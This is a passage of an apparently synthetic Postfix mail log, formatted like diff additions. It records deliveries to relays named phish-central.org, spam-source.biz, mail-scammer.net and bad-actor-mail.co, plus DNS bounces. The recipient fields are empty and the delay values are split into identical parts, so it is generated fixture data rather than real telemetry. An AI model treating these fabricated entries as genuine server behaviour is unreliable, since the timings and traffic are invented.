relay=phish-central.org[192.0.2.15]:25, delay=2.86, delays=0.715/0.715/0.715/0.715, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C760B1) +Jul 05 08:03:15 server postfix/smtp[25963]: 2F3A9F24B8: to=, relay=example.com[198.51.100.23]:25, delay=2.01, delays=0.5025/0.5025/0.5025/0.5025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 990D25) +Jul 05 08:03:15 server postfix/smtp[27888]: 7BACB160FD: to=, relay=none, delay=1.99, delays=0.4975/0.4975/0.4975/0.4975, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:03:15 server postfix/smtp[28684]: F8004B765D: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.62, delays=0.155/0.155/0.155/0.155, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D3A7B3) +Jul 05 08:03:16 server postfix/smtp[24979]: 41033F5EDA: to=, relay=none, delay=1.98, delays=0.495/0.495/0.495/0.495, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:16 server postfix/smtp[25763]: 523DE58BA4: to=, relay=example.com[198.51.100.23]:25, delay=1.95, delays=0.4875/0.4875/0.4875/0.4875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 43B063) +Jul 05 08:03:16 server postfix/smtp[29646]: BB4D4231A3: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.06, delays=0.515/0.515/0.515/0.515, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9E0BB7) +Jul 05 08:03:16 server postfix/smtp[29690]: 9640416DFD: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=0.57, delays=0.1425/0.1425/0.1425/0.1425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3E83C4) +Jul 05 08:03:17 server postfix/smtp[21535]: 4C74F7582B: to=, relay=example.com[203.0.113.111]:25, delay=1.79, delays=0.4475/0.4475/0.4475/0.4475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A37D87) +Jul 05 08:03:17 server postfix/smtp[24777]: 09F3941443: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.08, delays=0.27/0.27/0.27/0.27, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4B2C42) +Jul 05 08:03:17 server postfix/smtp[26590]: 784B50A837: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.46, delays=0.365/0.365/0.365/0.365, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as ABA05A) +Jul 05 08:03:17 server postfix/smtp[27724]: 98B5CC6133: to=, relay=phish-central.org[203.0.113.111]:25, delay=0.8, delays=0.2/0.2/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3472AC) +Jul 05 08:03:18 server postfix/smtp[24938]: E8939023F9: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=0.65, delays=0.1625/0.1625/0.1625/0.1625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 611BE3) +Jul 05 08:03:19 server postfix/smtp[21069]: DC151DEA92: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.23, delays=0.3075/0.3075/0.3075/0.3075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 42A97D) +Jul 05 08:03:19 server postfix/smtp[27138]: F7CA55042B: to=, relay=none, delay=2.39, delays=0.5975/0.5975/0.5975/0.5975, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:20 server postfix/smtp[22859]: 168D7DFEF9: to=, relay=example.com[203.0.113.88]:25, delay=3.0, delays=0.75/0.75/0.75/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 77AAC2) +Jul 05 08:03:20 server postfix/smtp[25416]: FA6783AFBC: to=, relay=none, delay=2.69, delays=0.6725/0.6725/0.6725/0.6725, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:20 server postfix/smtp[27622]: 9357C4D1EA: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.98, delays=0.745/0.745/0.745/0.745, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3F90F5) +Jul 05 08:03:20 server postfix/smtp[29207]: F05C82ACB1: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.38, delays=0.345/0.345/0.345/0.345, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CD5A2E) +Jul 05 08:03:21 server postfix/smtp[28475]: 668564844F: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.65, delays=0.4125/0.4125/0.4125/0.4125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9A98F5) +Jul 05 08:03:22 server postfix/smtp[24467]: 7677FD1E60: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.08, delays=0.27/0.27/0.27/0.27, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3512E5) +Jul 05 08:03:22 server postfix/smtp[27951]: 1026B8CD35: to=, relay=example.com[203.0.113.88]:25, delay=0.73, delays=0.1825/0.1825/0.1825/0.1825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 196752) +Jul 05 08:03:22 server postfix/smtp[28504]: A0EE0EE0F3: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.4, delays=0.35/0.35/0.35/0.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 51CFA2) +Jul 05 08:03:23 server postfix/smtp[24605]: 5BD6518644: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.34, delays=0.585/0.585/0.585/0.585, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 06B7B6) +Jul 05 08:03:23 server postfix/smtp[25482]: CB628A013B: to=, relay=none, delay=2.48, delays=0.62/0.62/0.62/0.62, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:03:24 server postfix/smtp[20973]: 3078417A6D: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.04, delays=0.26/0.26/0.26/0.26, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 821868) +Jul 05 08:03:24 server postfix/smtp[21360]: EF920EC719: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.03, delays=0.2575/0.2575/0.2575/0.2575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F14374) +Jul 05 08:03:24 server postfix/smtp[25335]: 0E7F847D9C: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.71, delays=0.4275/0.4275/0.4275/0.4275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A05056) +Jul 05 08:03:24 server postfix/smtp[25704]: 8DC8DB249F: to=, relay=none, delay=1.35, delays=0.3375/0.3375/0.3375/0.3375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:25 server postfix/smtp[21469]: 0E36C2A1CA: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.05, delays=0.2625/0.2625/0.2625/0.2625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5E09F7) +Jul 05 08:03:25 server postfix/smtp[22291]: 928E551C8B: to=, relay=none, delay=1.66, delays=0.415/0.415/0.415/0.415, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:03:25 server postfix/smtp[22836]: FDECF7E3A0: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.32, delays=0.58/0.58/0.58/0.58, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B73D1D) +Jul 05 08:03:25 server postfix/smtp[26308]: 1C2D25E01E: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.6, delays=0.4/0.4/0.4/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A02394) +Jul 05 08:03:25 server postfix/smtp[29069]: 59102089D3: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.61, delays=0.4025/0.4025/0.4025/0.4025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7F7840) +Jul 05 08:03:25 server postfix/smtp[29648]: 857B7FE504: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.74, delays=0.685/0.685/0.685/0.685, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2AFB67) +Jul 05 08:03:26 server postfix/smtp[21031]: 91CF3C3798: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.18, delays=0.545/0.545/0.545/0.545, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7DA41B) +Jul 05 08:03:26 server postfix/smtp[29399]: 9631077E93: to=, relay=phish-central.org[192.0.2.15]:25, delay=1.16, delays=0.29/0.29/0.29/0.29, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 95189C) +Jul 05 08:03:27 server postfix/smtp[24636]: 1F6542B384: to=, relay=phish-central.org[203.0.113.88]:25, delay=0.67, delays=0.1675/0.1675/0.1675/0.1675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8969A0) +Jul 05 08:03:28 server postfix/smtp[24307]: B8093547D9: to=, relay=none, delay=1.3, delays=0.325/0.325/0.325/0.325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:28 server postfix/smtp[24552]: 20A15C8652: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.26, delays=0.565/0.565/0.565/0.565, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5EFC6A) +Jul 05 08:03:28 server postfix/smtp[28869]: A5F68A6BCE: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.06, delays=0.515/0.515/0.515/0.515, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D97DA0) +Jul 05 08:03:29 server postfix/smtp[24600]: A48646B0AF: to=, relay=none, delay=2.44, delays=0.61/0.61/0.61/0.61, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:30 server postfix/smtp[29981]: 2E92605CF6: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.06, delays=0.265/0.265/0.265/0.265, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E517ED) +Jul 05 08:03:31 server postfix/smtp[21205]: FF38F3CC73: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.72, delays=0.18/0.18/0.18/0.18, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D510D5) +Jul 05 08:03:31 server postfix/smtp[25097]: EF219DD760: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.78, delays=0.695/0.695/0.695/0.695, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B7C801) +Jul 05 08:03:32 server postfix/smtp[25387]: 77FCF9973C: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.3, delays=0.325/0.325/0.325/0.325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 39A937) +Jul 05 08:03:33 server postfix/smtp[21643]: B603E85A9E: to=, relay=example.com[198.51.100.23]:25, delay=2.21, delays=0.5525/0.5525/0.5525/0.5525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4FE419) +Jul 05 08:03:33 server postfix/smtp[22506]: 6E2AA39B87: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.12, delays=0.28/0.28/0.28/0.28, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8F167B) +Jul 05 08:03:33 server postfix/smtp[22910]: B444E663A2: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.92, delays=0.73/0.73/0.73/0.73, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1A1384) +Jul 05 08:03:33 server postfix/smtp[26876]: 7579303358: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.22, delays=0.305/0.305/0.305/0.305, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8AED22) +Jul 05 08:03:33 server postfix/smtp[29657]: 4C0A747C4D: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.98, delays=0.495/0.495/0.495/0.495, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1C0FCB) +Jul 05 08:03:33 server postfix/smtp[29967]: D63BB3F2C4: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.25, delays=0.5625/0.5625/0.5625/0.5625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0C9E9A) +Jul 05 08:03:34 server postfix/smtp[21152]: 899E52748C: to=, relay=example.com[192.0.2.15]:25, delay=2.22, delays=0.555/0.555/0.555/0.555, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E6F045) +Jul 05 08:03:34 server postfix/smtp[24346]: 11E8A8A756: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.01, delays=0.2525/0.2525/0.2525/0.2525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 19F426) +Jul 05 08:03:35 server postfix/smtp[20551]: ABB9878147: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.5, delays=0.375/0.375/0.375/0.375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2394CF) +Jul 05 08:03:35 server postfix/smtp[22512]: C0D84CBA98: to=, relay=example.com[198.51.100.23]:25, delay=2.23, delays=0.5575/0.5575/0.5575/0.5575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B44360) +Jul 05 08:03:35 server postfix/smtp[23388]: 084733AB60: to=, relay=none, delay=2.51, delays=0.6275/0.6275/0.6275/0.6275, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:03:37 server postfix/smtp[21136]: 57AF9BD950: to=, relay=spam-source.biz[198.51.100.23]:25, delay=0.64, delays=0.16/0.16/0.16/0.16, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C9F607) +Jul 05 08:03:37 server postfix/smtp[22204]: 3CD2CA9E30: to=, relay=example.com[203.0.113.111]:25, delay=1.31, delays=0.3275/0.3275/0.3275/0.3275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0DB6D0) +Jul 05 08:03:37 server postfix/smtp[24832]: 247B180ABE: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.3, delays=0.325/0.325/0.325/0.325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E95245) +Jul 05 08:03:37 server postfix/smtp[25031]: BD75F2805F: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.63, delays=0.4075/0.4075/0.4075/0.4075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B845A8) +Jul 05 08:03:37 server postfix/smtp[27778]: 6B181FEBFC: to=, relay=none, delay=1.27, delays=0.3175/0.3175/0.3175/0.3175, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:03:38 server postfix/smtp[21108]: 6972EC3373: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.25, delays=0.3125/0.3125/0.3125/0.3125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 27F705) +Jul 05 08:03:38 server postfix/smtp[24366]: CF763CF22A: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=2.79, delays=0.6975/0.6975/0.6975/0.6975, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CB56C3) +Jul 05 08:03:39 server postfix/smtp[20473]: A4C037FDBB: to=, relay=phish-central.org[192.0.2.15]:25, delay=1.6, delays=0.4/0.4/0.4/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C13C8D) +Jul 05 08:03:39 server postfix/smtp[21823]: 0A13A2531E: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.1, delays=0.525/0.525/0.525/0.525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 348DF6) +Jul 05 08:03:39 server postfix/smtp[22709]: 32077C56C9: to=, relay=example.com[198.51.100.23]:25, delay=0.64, delays=0.16/0.16/0.16/0.16, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A63574) +Jul 05 08:03:39 server postfix/smtp[24595]: 8B48611E6E: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=2.19, delays=0.5475/0.5475/0.5475/0.5475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2D9EC4) +Jul 05 08:03:40 server postfix/smtp[21428]: 6051180D15: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.13, delays=0.5325/0.5325/0.5325/0.5325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 79FDA4) +Jul 05 08:03:40 server postfix/smtp[23920]: 0FFEEF046E: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.33, delays=0.3325/0.3325/0.3325/0.3325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B5080C) +Jul 05 08:03:40 server postfix/smtp[25673]: 7CBBE6C9F5: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=0.7, delays=0.175/0.175/0.175/0.175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 988DF0) +Jul 05 08:03:40 server postfix/smtp[26113]: C4A2568A46: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=2.16, delays=0.54/0.54/0.54/0.54, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 948C33) +Jul 05 08:03:41 server postfix/smtp[22336]: B374ED4FD8: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.38, delays=0.595/0.595/0.595/0.595, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 134B8F) +Jul 05 08:03:42 server postfix/smtp[20203]: 23069FFEA9: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.02, delays=0.255/0.255/0.255/0.255, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3CDCA1) +Jul 05 08:03:42 server postfix/smtp[21471]: 8F6EB40A81: to=, relay=none, delay=2.56, delays=0.64/0.64/0.64/0.64, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:43 server postfix/smtp[22062]: 979C7F7943: to=, relay=none, delay=1.03, delays=0.2575/0.2575/0.2575/0.2575, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:03:43 server postfix/smtp[25384]: 2F8344FB88: to=, relay=example.com[203.0.113.111]:25, delay=2.59, delays=0.6475/0.6475/0.6475/0.6475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FF0C26) +Jul 05 08:03:43 server postfix/smtp[28392]: 6DF1664FDD: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.16, delays=0.29/0.29/0.29/0.29, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EC8169) +Jul 05 08:03:44 server postfix/smtp[22100]: AC56FDF734: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.0, delays=0.5/0.5/0.5/0.5, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3AFFB9) +Jul 05 08:03:44 server postfix/smtp[27154]: B4B1635868: to=, relay=example.com[203.0.113.111]:25, delay=1.95, delays=0.4875/0.4875/0.4875/0.4875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A525ED) +Jul 05 08:03:44 server postfix/smtp[28075]: 72974EF719: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=2.62, delays=0.655/0.655/0.655/0.655, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EFA733) +Jul 05 08:03:45 server postfix/smtp[27410]: 0630E6157C: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.09, delays=0.5225/0.5225/0.5225/0.5225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E5AFE5) +Jul 05 08:03:45 server postfix/smtp[28837]: E9A0870C3C: to=, relay=example.com[192.0.2.15]:25, delay=1.46, delays=0.365/0.365/0.365/0.365, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E57C9D) +Jul 05 08:03:45 server systemd[1]: Starting daily clean up activities... +Jul 05 08:03:46 server postfix/smtp[23413]: 1EAEE588B2: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.05, delays=0.5125/0.5125/0.5125/0.5125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 284714) +Jul 05 08:03:47 server postfix/smtp[23716]: CDDD308991: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=1.73, delays=0.4325/0.4325/0.4325/0.4325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3DE598) +Jul 05 08:03:47 server postfix/smtp[24168]: 3FB9C94FA3: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=0.85, delays=0.2125/0.2125/0.2125/0.2125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 043AA4) +Jul 05 08:03:47 server postfix/smtp[28813]: A16F181E84: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.25, delays=0.3125/0.3125/0.3125/0.3125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F8972C) +Jul 05 08:03:48 server postfix/smtp[21284]: 5FE0BB8377: to=, relay=none, delay=2.76, delays=0.69/0.69/0.69/0.69, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:48 server postfix/smtp[25116]: 9AEBF8DF01: to=, relay=none, delay=1.73, delays=0.4325/0.4325/0.4325/0.4325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:48 server postfix/smtp[26358]: 06D833CE78: to=, relay=example.com[203.0.113.111]:25, delay=1.2, delays=0.3/0.3/0.3/0.3, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5A587A) +Jul 05 08:03:48 server postfix/smtp[28639]: EE7557BDF8: to=, relay=none, delay=0.54, delays=0.135/0.135/0.135/0.135, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:49 server postfix/smtp[20113]: 691547D2C2: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.19, delays=0.2975/0.2975/0.2975/0.2975, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 016DE3) +Jul 05 08:03:49 server postfix/smtp[25796]: 6531B1A742: to=, relay=example.com[203.0.113.111]:25, delay=1.57, delays=0.3925/0.3925/0.3925/0.3925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 64F51A) +Jul 05 08:03:49 server postfix/smtp[26026]: A061811319: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.17, delays=0.2925/0.2925/0.2925/0.2925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6420E4) +Jul 05 08:03:49 server postfix/smtp[26724]: C0301183A0: to=, relay=example.com[192.0.2.15]:25, delay=1.55, delays=0.3875/0.3875/0.3875/0.3875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7FF6F8) +Jul 05 08:03:50 server postfix/smtp[20040]: 3D6873C223: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.86, delays=0.215/0.215/0.215/0.215, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EE1A8A) +Jul 05 08:03:50 server postfix/smtp[21084]: 09603F513B: to=, relay=none, delay=2.41, delays=0.6025/0.6025/0.6025/0.6025, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:50 server postfix/smtp[23555]: F3862440CF: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.61, delays=0.4025/0.4025/0.4025/0.4025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5405C3) +Jul 05 08:03:50 server postfix/smtp[26173]: 64751C54D0: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.61, delays=0.4025/0.4025/0.4025/0.4025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BB7A1A) +Jul 05 08:03:51 server postfix/smtp[22426]: 4958D37C5E: to=, relay=none, delay=0.87, delays=0.2175/0.2175/0.2175/0.2175, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:03:51 server postfix/smtp[29459]: 96C1F776C0: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.27, delays=0.5675/0.5675/0.5675/0.5675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D83DF8) +Jul 05 08:03:52 server postfix/smtp[29865]: EC9034B331: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.78, delays=0.445/0.445/0.445/0.445, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 80207C) +Jul 05 08:03:53 server postfix/smtp[27808]: 55C45694B2: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.81, delays=0.4525/0.4525/0.4525/0.4525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10B750) +Jul 05 08:03:53 server postfix/smtp[27900]: A2F538269B: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.0, delays=0.5/0.5/0.5/0.5, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 17E233) +Jul 05 08:03:55 server postfix/smtp[24209]: F9D8B0ACE1: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=2.06, delays=0.515/0.515/0.515/0.515, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 37A8C8) +Jul 05 08:03:55 server postfix/smtp[26731]: 3E4A995ADA: to=, relay=none, delay=2.05, delays=0.5125/0.5125/0.5125/0.5125, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:03:55 server postfix/smtp[29095]: 5056B6BD34: to=, relay=example.com[203.0.113.88]:25, delay=1.71, delays=0.4275/0.4275/0.4275/0.4275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BC7291) +Jul 05 08:03:55 server postfix/smtp[29287]: 6535B6A248: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.03, delays=0.5075/0.5075/0.5075/0.5075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12074A) +Jul 05 08:03:56 server postfix/smtp[20206]: D274A34C3F: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.41, delays=0.3525/0.3525/0.3525/0.3525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F3D7B3) +Jul 05 08:03:56 server postfix/smtp[25287]: 9B61858186: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.56, delays=0.64/0.64/0.64/0.64, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CB0077) +Jul 05 08:03:56 server postfix/smtp[29863]: DDBE330B65: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.4, delays=0.6/0.6/0.6/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FDB6EE) +Jul 05 08:03:57 server postfix/smtp[26694]: BF1EB9921D: to=, relay=spam-source.biz[203.0.113.111]:25, delay=0.52, delays=0.13/0.13/0.13/0.13, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A71EC0) +Jul 05 08:03:58 server postfix/smtp[20275]: E348EE7E15: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.71, delays=0.6775/0.6775/0.6775/0.6775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D76ED4) +Jul 05 08:03:58 server postfix/smtp[29009]: AD4961B3C6: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.71, delays=0.1775/0.1775/0.1775/0.1775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A3F6CC) +Jul 05 08:03:59 server postfix/smtp[21249]: 14091DF60F: to=, relay=phish-central.org[203.0.113.111]:25, delay=0.56, delays=0.14/0.14/0.14/0.14, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0B3EC4) +Jul 05 08:03:59 server postfix/smtp[23135]: 88E69244EA: to=, relay=example.com[203.0.113.88]:25, delay=0.88, delays=0.22/0.22/0.22/0.22, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6414FB) +Jul 05 08:04:00 server postfix/smtp[23756]: 5670D443E2: to=, relay=none, delay=0.59, delays=0.1475/0.1475/0.1475/0.1475, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:00 server postfix/smtp[26751]: C76A0418E5: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.79, delays=0.4475/0.4475/0.4475/0.4475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2B5E7E) +Jul 05 08:04:00 server postfix/smtp[27067]: 786892BE10: to=, relay=spam-source.biz[192.0.2.15]:25, delay=0.89, delays=0.2225/0.2225/0.2225/0.2225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 77041C) +Jul 05 08:04:00 server postfix/smtp[28433]: 03FA15EE05: to=, relay=example.com[203.0.113.111]:25, delay=0.89, delays=0.2225/0.2225/0.2225/0.2225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 361758) +Jul 05 08:04:00 server postfix/smtp[28919]: 564E5708DA: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=2.89, delays=0.7225/0.7225/0.7225/0.7225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7C85AC) +Jul 05 08:04:01 server postfix/smtp[22462]: AC92063205: to=, relay=none, delay=2.95, delays=0.7375/0.7375/0.7375/0.7375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:04:01 server postfix/smtp[26902]: ABE0ABCD9D: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.22, delays=0.555/0.555/0.555/0.555, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 207C98) +Jul 05 08:04:01 server 